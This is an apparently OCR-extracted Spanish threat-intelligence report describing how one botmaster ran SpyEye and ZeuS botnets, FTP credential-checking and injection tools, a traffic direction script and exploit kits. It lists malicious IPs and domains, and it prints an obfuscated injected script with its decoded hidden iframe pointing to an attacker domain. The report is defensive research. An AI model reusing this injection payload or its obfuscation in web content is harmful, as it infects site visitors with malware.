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IMPORTANTE: Este documento es de caracter técnico y contiene informacion relacionada a las direcciones web,
direcciones IP, las rutas de descarga de archivos binarios, entre otros, que estan directamente relacionados con las
estrategias de infeccion y los procesos delictivos llevados a cabo por los delincuentes informaticos.

Por lo tanto, se recomienda el uso responsable de la informacion proporcionada en el presente. Utilizar la misma
bajo la exclusiva y Unica responsabilidad del lector. Malwarelntelligence no se responsabiliza por cualquier
inconveniente que pueda surgir en funcién de la mala gestidn y uso de los datos.

El documento también cuenta con informacion precisa de los resultados obtenidos en el estudio. Por lo tanto, y por
la naturaleza misma del proceso de investigacion no se proporciona el 100% de los datos recogidos.
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Introduccion

Las redes de malware siguen creciendo, y paralelamente a ello, el potencial riesgo de
transformarse en victimas de sus actividades delictivas.

Lejos quedaron aquellos tiempos donde el vector principal para la distribucion de
cddigos maliciosos lo constituian las paginas pornograficas y las que promocionan
programas tipo warez.

En la actualidad, el malware es distribuido a través de cualquier tipo de pagina como
una pieza fundamental utilizada para retroalimentar un sistema delictivo mucho mas
amplio y ambicioso, encabezado principalmente por botnets. Incorporando, ademas,
mecanismos auto-defensivos y de evasion cada vez mas complejos.

Bajo este escenario, un alto porcentaje de botmasters unen un importante nimero de
“nodos” basados en recursos que permiten automatizar las maniobras delictivas y
obtener asi un mayor volumen de datos.

Para entender esta diversificacion, el presente documento describe un ejemplo real,
que formd parte de una compleja investigacion, sobre cémo un botmaster
administra sus botnets a través de los crimeware SpyEye y ZeusS.

Version en inglés
http://www.malwareint.com/docs/botmaster-analysis-en.pdf

Version en espafiol
http://www.malwareint.com/docs/botmaster-analysis-es.pdf
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Administracion de botnets. Un caso real

En su momento localizada en el rango /7.78.240.82-86, el botmaster realizaba sus
maniobras delictivas administrando computadoras infectadas a través de dos
crimeware de amplia difusion entre la comunidad delictiva: SpyEye' y ZeuS?.
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En la raiz, ésta direccion IP mostraba en pantalla una imagen particular, que forma parte de
una funcionalidad propia de SpyEye. En otros servidores del tipo bulletproof conteniendo
SpyEye, se han observado otras alternativas a esta imagen.

A través del crimeware SpyEye

En el caso del crimeware SpyEye, se encontraba dividido en 8 instalaciones diferentes,
y a su vez segmentados en diferentes servidores: 4 a 4.

Los 4 primeros paneles de administracion estaban alojados en el servidor
77.78.240.84, también accesible desde el dominio eu-analytics.com, contando con mas
de 12.000 zombis.

Los 4 restantes se encontraban en el servidor alojado en /7.78.240.86, accesible en el
momento de la investigacion desde el dominio google-stat.com. En este caso, con mas
de 40.000 zombis.

1 http://www.malwareint.com/docs/spyeye-analysis-ii-en.pdf
http://www.malwareint.com/docs/spyeye-analysis-es.pdf
2 http://mipistus.blogspot.com/2009/10/zeus-botnet-y-su-poder-de-reclutamiento.html
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o J7.78.240.86/ns/nl1/ [CN1]- 77.78.240.86/ns/ns1/ [SYN1]

o« J7.78.240.86/ns/nl2/ [CN1] - 77.78.240.86/ns/ns2/ [SYN1]
o J7.78.240.86/ns/nl3/ [CN1] - 77.78.240.86/ns/ns3/ [SYN1]
o J7.78.240.86/ns/nld/ [CN1] - 77.78.240.86/ns/ns4/ [SYN1]
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SpyEye — Modulo CN1
Panel de administracion que operaba desde el dominio 77.78.240.84. En el mismo se puede
apreciar los diferentes componentes gue forman parte del modulo CN1 de esta version (1.0) del
crimeware.

SpyEye se compone de dos partes: CN1 (Main) y SYN1 (FormGrabber). Ambos
modulos se encontraban alojados en el mismo servidor, siendo este Ultimo (SYN1) el
que permite al botmaster acceder con facilidad a los datos robados. En este caso, a las
capturas de pantalla (ScreenShots), los datos necesarios para acceder via FTP a esas
computadoras (FTP Accounts), e informacidon de tarjetas de crédito del Bank of
America (BOA Grabber).
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SpyEye — Modulo SYN1
El modulo SYN1 de SpyEye permite /a incorporacion de diferentes segmentos. Por defecto,
siempre incorpora ScreenShots y FTP Accounts. En este caso, posee tambien el modulo que
permite robar datos de autenticacion al Bank of America.



Malwarelntelligence Administracion de Botnets. Un caso real - ZeuS & SpyEye

A traveés del crimewae Zeu$S

La botnet ZeuS se encontraba alojada en la direccion IP 77.78.240.85, también
accesible desde el dominio statistics-of-world.com. Al momento de la investigacion,
contaba con mas de 25.000 zombis, al igual que con SpyEye, distribuidos en varias
instalaciones.

e ceweasel | 2 oS
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Raiz de 77.78.240.85
Al igual que en el caso de la direccion IP que aloja SpyEye, al acceder a la direccion IP
desde la cual se gestiona Zeus, se visualiza una imagen particular. También accesible
desde el dominio statistics-of-world.com.

A partir de la recoleccidon de esta informacion, se comienza a establecer el mapeo de
informacidn relevante acerca del funcionamiento de las botnets y el comportamiento
del botmaster en torno a su gestion.

Ademas, la actividad llevada a cabo por parte del botmaster, evidencia que la
implementacion de las botnets sobre el anteriormente mencionado servidor es
reciente. Sin embargo, no asi su actividad delictiva a través de estos crimeware,
concluyendo en funciéon de los datos obtenidos que el delincuente llevaba bastante
tiempo operando.
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La similitud en torno a la totalidad de los datos numéricos de los zombis entre la
botnet gestionada bajo SpyEye contra la de ZeuS, supone que eran administrados bajo
los respectivos C&C de ambas botnets de forma simultanea.

Esta actividad paralela entre las diferentes botnets quedd demostrada al comprobar
que el botmaster ejecutaba remotamente el payload de SpyEye desde el panel de
administracion de Zeus.

(=] CP :: Summary statistics - lcewease 3 s
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Este panel no contempla la version original de Zeus, sino que posee la implementacion de un
template llamado "ZeuS Carding World”®. Actualmente existen mas de cinco templates para
Zeus; sin embargo, el que se visualiza en la imagen fue el primero de ellos que tomo estado
publico a través de algunos foros underground.

Por otro lado, esto también significa que la botnet de ZeuS fue la mas antigua desde la
que operaba el botmaster, siendo la botnet de SpyEye una nueva adquisicion.

Para incluir nuevos zombis a sus botnets, el delincuente operaba desde las direcciones
IP's 77.78.240.82y 77.78.240.83, también accesibles desde los dominios /rstat.com 'y
google-analyti.com (ambos actualmente fuera de servicio).

3 http://mipistus.blogspot.com/2009/05/zeus-carding-world-template-jugando.html
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Recursos utilizados por el botmaster

Durante el proceso de investigacion y recoleccion de informacién de interés,
encontramos en los servidores dos aplicaciones web disefiadas para analizar las
credenciales de autenticacion para los accesos FTP que eran obtenidos tanto por ZeuS
como por SpyEye.

La primera aplicacion, llamada FTP Checker, era utilizada para analiza el nivel de
éxito de cada una de las credenciales obtenidas. Es decir, si son aptas para su acceso.
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FTP Checker
A través de esta sencilla aplicacion web, el bomaster controla y mantiene una lista de
cuentas FTP aptas para ser utilizadas para el alojamiento de todo tipo de recursos
delictivos que desee, ademas de obtener informacion almacenada en esos equipos.

FTP Checker es un desarrollo que pertenece a un conocido foro underground llamado
FreedomScripts, desde el cual se hace apologia a diferentes actividades delictivas y
se promocionan diferentes recursos asociados a estas actividades. Todas ellas
constituyen, en su conjunto, un ecosistema interno que forma parte integral de un
ambiente mayor: el escenario del crimeware actual.
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La segunda aplicacién, denominada FTP Injecter®, tiene la funcién de conectarse a
cada uno de los FTP’s previamente analizados por FTP Checker, buscando archivos con
cualquiera de las siguientes extensiones: PHP, HTML, HTM, PHTML, ASP y CFM.

@ FTP Injecter by deex '10 - Iceweasel
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FTP Injecter
Esta aplicacion es utilizada en conjunto con FTP Checker. A través de ella, el
delincuente automatiza la tarea de conexion contra cualquiera de los accesos FTP
verificados por €l recurso delictivo anteriormente mencionado.

Una vez encontrados, FTP Injecter inyecta el siguiente iframe codificado (ofuscado)

buscando dificultar la identificacion del cddigo fuente. El script queda entonces de la
siguiente manera:

<script>function fodad(ixaiu){return unescape(ixaiu); }function

xjtv(){document. writeln(fodad(kmmadlx)), }jsjsg=a3/am%gfrCE30plcw2Db%ambDgl/3hr
%/ r%,/nohi0e33%tot21%mDrf Cs%eai0lo3mehoy%Dta3i

%2tgi0%3e0rfcAacte2d % %ir3-.dh%rEe;kmmdx=";for(bhbnv=0,bhbnv<11;bhbnv++)
for(tkhhi=0,fkhhi< 10, fkhhi++)
kmmdx+=jsjsg.charAt((parselnt('7159830264".charAt(fkhhi))*11)+bhbnv), ixjtv(),; </scr

pt>

Una vez decodificado, se obtiene la siguiente porcién de cddigo:

<fframe src=http.//google-analytica.comy/ width=1 height=1
frameborder=0> </iframe>

4 Esta aplicacion posee un costo de 140 wmz (4200 wmr).
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El dominio google-analytica.com se encontraba bajo la direccion IP 174.120.21.186, y
en el mismo, se alojaba la version 1.1 de un TDS (Traffic Direction Script) llamado
Advanced TDS.
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Advanced TDS. Statistics
Estas aplicaciones son muy populares entre la comunidad delictiva. Permiten a los
delincuentes gestionar el redireccionamiento de trafico web forzando el direccionado a
dominios previamente configurados desde la misma aplicacion.

Para las técnicas de BlackHat SEO y propagacion FakeAV a través de falsas paginas de
exploracién online de archivos, también suele utilizarse alguna aplicacion web del tipo
TDS. En este caso, era utilizado por los delincuentes para administrar el trafico web y
poder redirigir cada iframe a los exploits que ejecutaban los procesos de infeccion
sobre cada equipo victima.
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Advanced TDS. DB Report
Las estadisticas del panel muestran que el iframe fue visitado €l dia de la captura (7
Julio) 4,463 veces y en total, desde el 15 de Junio lleva servidos 124,712 impresiones.
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En la siguiente captura puede observarse las reglas definidas por el botmaster:
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Advanced TDS. Rules
Esta seccion del TDS permite la configuracion de los diferentes redireccionamientos de
tréfico web. En este caso puede observarse que la configuracion establecida por el
delincuente contempla el dominio google-analyti.com, donde se encuentra Zeus.

Basicamente, las configuraciones establecidas a través de estas reglas, contemplan el
redireccionamiento directo hacia un tercer crimeware: Eleonore Exploit Pack 1.4.
De esta manera, cuando los visitantes eran redireccionados hacia EEP, se ejecutaban
automaticamente una serie de exploits personalizados con el objetivo de reclutar como
zombi el equipo e incluirlo en la botnet.

Ademas de los crimeware que se mencionan en el presente, el servidor aloja una
version de Phoenix Exploit Kit®?, también operada por el mismo botmaster. Segun los
seguimientos realizados por investigadores de Malwarelntelligence, desde esta
version de Phoenix Exploit Kit se llevd a cabo una campafia de infeccion que al
momento de escribir este documento seguia activa y siendo objeto de investigacion.

5 http://www.malwareint.com/docs/pek-analysis-es.pdf
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Conclusion

Actualmente son muy pocas las actividades delictivas ejecutadas por personas sin experiencia
en el campo delictivo. Incluso, a pesar de ser relativamente facil conseguir cualquiera de los
tipos de crimeware mencionados en el presente documento.

Quienes logran obtener un importante caudal de equipos zombis, representan el porcentaje de
botmasters experimentados, que ademas explotan el uso de aplicaciones especificas para
controlar etapas especificas dentro del ciclo delictivo.

En este caso, haciendo uso de sencillas aplicaciones web para automatizar la operatividad de
cuentas FTP explotables. Sin embargo, en muchas otras investigaciones, el equipo de
investigacion ha encontrado desde gestores de datos bancarios (obviamente robados), pasando
por plugins especificos para robar informacion concreta y hasta incluso para el ocio del
botmaster con reproductores MP3.

La demanda de alternativas delictivas es muy grande. iLa oferta también! Sumado esto a la
extensa cobertura que a nivel global posee el crimeware en la actualidad y a la posibilidad con
la que cuentan los delincuentes de extender sus redes delictivas, la problematica que implica
esta actividad no licita se potencia a gran escala, haciendo necesaria la investigacién en
profundidad para obtener informacion de interés de manera oportuna que permita romper sus
esquemas delictivos y frenar asi parte de sus maniobras.
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